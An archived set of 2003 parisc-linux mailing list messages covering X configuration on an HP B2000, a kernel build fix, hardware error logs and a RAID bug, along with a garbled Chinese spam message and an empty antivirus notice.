NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  1 03:24:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spike2.ehosting.com (unknown [62.173.67.13])
	by dsl2.external.hp.com (Postfix) with SMTP id 410DF4840
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Oct 2003 03:24:20 -0600 (MDT)
Original-Received: (qmail 19286 invoked by uid 2525); 1 Oct 2003 09:22:56 -0000
Original-Received: from 212.135.129.82 ( [212.135.129.82])
	as user mmogenius@localhost by webmail.v8fiesta.co.uk with HTTP;
	Wed,  1 Oct 2003 10:22:56 +0100
In-Reply-To: <3F683606.8000701@tiscali.be>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 212.135.129.82
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19699

Brilliant i now have X working on my B2000 with the Visuialize-EG Card... 

The way to use the 2nd card is to specify the BusID in the XF86Config-4 file.

BusID      "PCI:1:1:0"

Although I dont seem to be able to get the depth anywhere above 8... Does 
anyone have any thoughs on this. 

Thanks



> Grant Grundler wrote:
> 
> >On Tue, Sep 16, 2003 at 08:03:07PM +0100, mmogenius@v8fiesta.co.uk wrote:
> >  
> >
> >>I have tried this but i am still getting the same error message... 
> >>
> >>Fatal server error:
> >>AddScreen/ScreenInit Failed for driver 0 
> >>    
> >>
> >
> >
> >  
> >
> >>With me having 2 cards in the machine do i need to specify wich one to use
> ?
> >>    
> >>
> >
> >Maybe. I would expect the default to be the console.
> >Can you remove one of the cards?
> >  
> >
> hmm I presume that the first one is the builtin (not removable) gfx 
> (which is not supported :( ) and the additional one is supported and 
> pluged into a pci slot (so removable but the one usefull)?
> 
> Afaik i don't think that it is possible to 'remove' (even logicaly with 
> some strap or switch) the builtin gfx.
> Anyway, it is possible to change the default monitor to 'graphics1' (as 
> afaik here the pdc would recognise the additional gfx) with help of 
> COnfiguration submenu at bootprompt. (may be MO cmd would help to get 
> more accurate info?)
> 
> Or (into linux system) should it be also possible to create a /dev/fb1 
> (MAKEDEV iirc) and change with fbset the default fb device to fb1?
> 
> >  
> >
> >>if so where can i get the information to do this as i am not having much
> luck 
> >>finding any documentation. Thanks
> >>    
> >>
> >
> >Try searching tha parisc-linux mailing list for "ScreenInit Failed".
> >Plenty of hits on this topic.
> >
> >If none of the above helps, can you post the full Xfree86.log.0?
> >
> >grant
> >
> hth,
>     Joel
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Missing functions ?
Date: Wed, 01 Oct 2003 13:02:40 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <3F7AB450.4000209@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622836 31923 80.91.229.3 (22 Nov 2014 02:20:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  1 05:02:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id A12E54843
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Oct 2003 05:02:48 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157011121.dialin.heagmedianet.de [213.157.11.121])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.10/8.12.7) with ESMTP id h91B2MeY019726
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Wed, 1 Oct 2003 13:02:37 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
X-MailScanner-SpamCheck: not spam, SpamAssassin (score=-0.1, required 5,
	USER_AGENT_MOZILLA_UA, X_ACCEPT_LANG)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19700

Hi there,

lastest kernel from CVS didn't compile for me. I get the following error 
messages:

    --------><------------
      CHK     include/linux/compile.h
      CC      arch/parisc/kernel/parisc_ksyms.o
    arch/parisc/kernel/parisc_ksyms.c:72: error: `__flush_dcache_page'
    undeclared here (not in a function)
    arch/parisc/kernel/parisc_ksyms.c:72: error: initializer element is
    not constant
    arch/parisc/kernel/parisc_ksyms.c:72: error: (near initialization
    for `__ksymtab___flush_dcache_page.value')
    arch/parisc/kernel/parisc_ksyms.c:75: error: `flush_cache_all_local'
    undeclared here (not in a function)
    arch/parisc/kernel/parisc_ksyms.c:75: error: initializer element is
    not constant
    arch/parisc/kernel/parisc_ksyms.c:75: error: (near initialization
    for `__ksymtab_flush_cache_all_local.value')
    make[1]: *** [arch/parisc/kernel/parisc_ksyms.o] Fehler 1
    make: *** [arch/parisc/kernel] Fehler 2
    ruediger@gandalf:/usr/src/linux-2.6$
    --------><------------

It seems that in include/asm/cache.h these two function 
flush_cache_all_local and flush_dcache_page are missing, which are 
defined as symbols in parisc_ksyms. Can I just disable/comment the 
regarding EXPORT_SYMOBOL calls?

Greeting,
    Ruediger



From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing functions ?
Date: Wed, 1 Oct 2003 13:42:21 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20031001124221.GK24824@parcelfarce.linux.theplanet.co.uk>
References: <3F7AB450.4000209@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622836 31930 80.91.229.3 (22 Nov 2014 02:20:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  1 06:42:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 847DF4879
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Oct 2003 06:42:23 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A4gJB-0006GA-Ho; Wed, 01 Oct 2003 13:42:21 +0100
Content-Disposition: inline
In-Reply-To: <3F7AB450.4000209@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19701

On Wed, Oct 01, 2003 at 01:02:40PM +0200, Ruediger Scholz wrote:
> Hi there,
> 
> lastest kernel from CVS didn't compile for me. I get the following error 
> messages:

Sorry about that; try updating now.  I've turned on CONFIG_MODULES so
I should notice these problems in the future.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed, 1 Oct 2003 14:52:36 +0100 (IST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0310011446560.27712@sal.ucc.ie>
References: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie>
 <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk>
 <1063733943.3f674ab751edb@webmail.v8fiesta.co.uk> <20030916174726.GC30906@dsl2.external.hp.com>
 <1063738987.3f675e6b22961@webmail.v8fiesta.co.uk> <20030917040849.GA11011@dsl2.external.hp.com>
 <3F683606.8000701@tiscali.be> <1065000176.3f7a9cf0cbad2@webmail.v8fiesta.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622837 31936 80.91.229.3 (22 Nov 2014 02:20:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mmogenius@v8fiesta.co.uk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  1 07:52:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5D8E484B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Oct 2003 07:52:38 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id h91DqbRK010416;
	Wed, 1 Oct 2003 14:52:37 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <1065000176.3f7a9cf0cbad2@webmail.v8fiesta.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19702

On Wed, 1 Oct 2003 mmogenius@v8fiesta.co.uk wrote:

> Brilliant i now have X working on my B2000 with the Visuialize-EG Card...
>
> The way to use the 2nd card is to specify the BusID in the XF86Config-4 file.
>
> BusID      "PCI:1:1:0"
>
> Although I dont seem to be able to get the depth anywhere above 8... Does
> anyone have any thoughs on this.

Visualize-EG is a 8bit only card.

It can displake 'fake hi/true-colour' using HP's Color Recovery technology,
but hardly any non-HP software supports that (ie. I know only
of ImageMagick).

There is AFAIK no 24/32bit true colour PCI graphic cards that work on
Linux/PA-RISC in the moment. I'd love to hear that I'm wrong ...

Max


From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Wed, 1 Oct 2003 19:20:57 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <3F5CB6FB0000B84C@ocpmta1.freegates.net>
References: <3F5CC41F0000B5FA@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622837 31939 80.91.229.3 (22 Nov 2014 02:20:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  1 11:21:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D51E484B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Oct 2003 11:21:03 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A4keo-0004yr-00; Wed, 01 Oct 2003 19:20:58 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 1 Oct 2003 19:20:57 +0200
In-Reply-To: <3F5CC41F0000B5FA@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19703

Hi Grant,

I also notice additional info:

a) in SL (gsp console) A grab severall message as:

Log Entry #   0 : 
SYSTEM NAME: ap8002
DATE: 10/01/2003 TIME: 16:32:35
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O 
SOURCE DETAIL: 2 = system bus adapter   SOURCE ID: 1
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 33 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 01

0x7000102082016333 00000000 00B92200 type 14 = Problem Detail
0x5800182082016333 00006709 01102023 type 11 = Timestamp 10/01/2003 16:32:35
Type CR for next entry, Q CR to quit.

Which seems indicating an I/O pb (But I don't know how much there are relevant
because: 'implementation dependent')

b) at the end of the pim info I also notice:
[...]
------------  I/O Module Error Log Information  ------------

Summary of IO subsystem log entries
-----------------------------------
                        Phys Loc             Vendor  Device   Severity
Description             (hex)                 Id      Id      CORR UNC FE
 CW
-----------             -----                ------  ------   ----------------
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X


Detail display of IO subsystem log entries
------------------------------------------

System Bus Adapter -- System Bus Interface
------------------------------------------

Timestamp =    Wed Oct  1 16:32:31 GMT 2003    (20:03:10:01:16:32:31)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X                X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0xfffffffffed00000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000007ff0034

System Bus Adapter -- System Bus Interface
------------------------------------------

Timestamp =    Wed Oct  1 16:32:31 GMT 2003    (20:03:10:01:16:32:31)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X                X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0xfffffffffed40000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000007ff0034
[...]

And "IO Responder Address    = 0xfffffffffed40000" match the bootlog entry:
Found devices:
[...]
11. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed40000 [1], versions
0x803, 0x0, 0xc

And "IO Responder Address    = 0xfffffffffed00000" 
2. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed00000 [0], versions
0x803, 0x0, 0xc

Could it be the sources of the crash pb?

Thanks in advance,
    Joel



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "﹫˾" <imienm@163.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ע۹˾
Date: Thu, 2 Oct 2003 08:25:55 +0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20031002002158.B01F84841@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
X-Trace: ger.gmane.org 1416622837 31942 80.91.229.3 (22 Nov 2014 02:20:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  1 18:21:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lee (unknown [218.18.68.133])
	by dsl2.external.hp.com (Postfix) with SMTP id B01F84841
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Oct 2003 18:21:58 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.75 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19704

𾴵Ŀͻ
    Ǻã
    ޹˾רҵڵ
ʿע۹˾Ͼɵĵӵ
һ۹˾Ϊҵıע
۹˾,ֻṩϹʿ֤
ӡ,õֻͣǧңѯ
          ϵˣ
          ϵ绰0755-82310342  82310351
          ʣszgslh@163.com
          ַwww.welldone-ac.com.hk
          ַ޺찲ʴB2705


============================ʼ޹=============================

 http://www.chinamysql.com  רҵṩɻ˿

ǿײͣ100MͶ1010Mҵ䣬20318Ԫ/꣡


֤ȯͶ http://3long.sayba.com ΪṩרҵƷڹֻ588Ԫͼֵ1800ԪƷ

˵̳ http://shop.sayba.com ȫǳֱƷ۵Ʒ繺ĺȥ


ʹüʼȺͨʼֱԷ䣬ٶȾһ

ַhttp://www.lovexin.comĳŶ


From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-test6 and md
Date: Wed, 1 Oct 2003 17:41:08 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20031002004108.GC660@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622838 31948 80.91.229.3 (22 Nov 2014 02:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  1 18:39:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C647F4841
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Oct 2003 18:39:18 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 84765CD2F8; Wed,  1 Oct 2003 17:41:08 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19705

Hi all,

while trying to bring up 2.6.0-test6 on an a500, i noticed that it is 
not able to use raid0 devices. raid1 seems fine. has anyone else seen 
this?

the error i see in the log is:
md: error, md_import_device() returned -16

i haven't had time to look deeper into this yet...

thx
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: HOL_Virus_Alert@hol.gr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HOL AntiVirus scan results
Date: Thu, 02 Oct 2003 17:31:09 +0300
Lines: 22
Approved: news@gmane.org
Message-ID: <200310021431.h92EV8s30359@logos.hol.gr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622838 31951 80.91.229.3 (22 Nov 2014 02:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:38 +0000 (UTC)
Cc: bjorn.helgaas@hp.com
To: motocraft@hol.gr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 08:40:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from logos.hol.gr (logos.hol.gr [194.30.192.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5DA04845
	for <parisc-linux@parisc-linux.org>; Thu,  2 Oct 2003 08:40:24 -0600 (MDT)
Original-Received: from logos.hol.gr (aperion.mail.dc.hol.net [192.168.20.34])
	by logos.hol.gr (8.11.6/8.11.6) with SMTP id h92EV8s30359;
	Thu, 2 Oct 2003 17:31:08 +0300
Original-Cc: bdhilton@charter.net
Original-Cc: kstailey@yahoo.com
Original-Cc: andrew@neep.com.au
Original-Cc: jmd5@earthlink.net
Original-Cc: yusbu@webmail.bppt.go.id
Original-Cc: alaskan@telusplanet.net
Original-Cc: detlef.erdmann@sparkasse-bielefeld.de
Original-Cc: ralf.hildebrandt@charite.de
Original-Cc: krypton@ulrich-teichert.org
Original-Cc: jijoya@gmx.net
Original-Cc: lcrouch@qdsl.cjb.net
Original-Cc: romanhuki@pop.com.br
Original-Cc: timizod@durge.org
Original-Cc: parisc-linux@parisc-linux.org
Original-Cc: lcrouch@qdsl.ath.cx
Original-Cc: vamailarmor@mail.viz.com
Original-Cc: agx@debian.org
Original-Cc: ramanewsprint@hotmail.com
Original-Cc: sebastian.brueckner@epost.de
Original-Cc: james.bottomley@hansenpartnership.com
Original-Cc: joey@infodrom.org
Original-Cc: leonardox@aullox.com
Original-Cc: taggart@debian.org
Original-Cc: gadek@debian.org
Original-Cc: fi@igh-essen.com
Original-Cc: cjwatson@debian.org
Original-Cc: noel@debian.org
Original-Cc: thierry@glossolalie.net
Original-Cc: debian-hppa@lists.debian.org
Importance: high
X-Priority: 1
X-Mailer: ravmd/8.3.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19706

HOL AntiVirus for Linux i686 version: 8.3.2 (snapshot-20020108)

-----------------------
 HOL Antivirus results
-----------------------

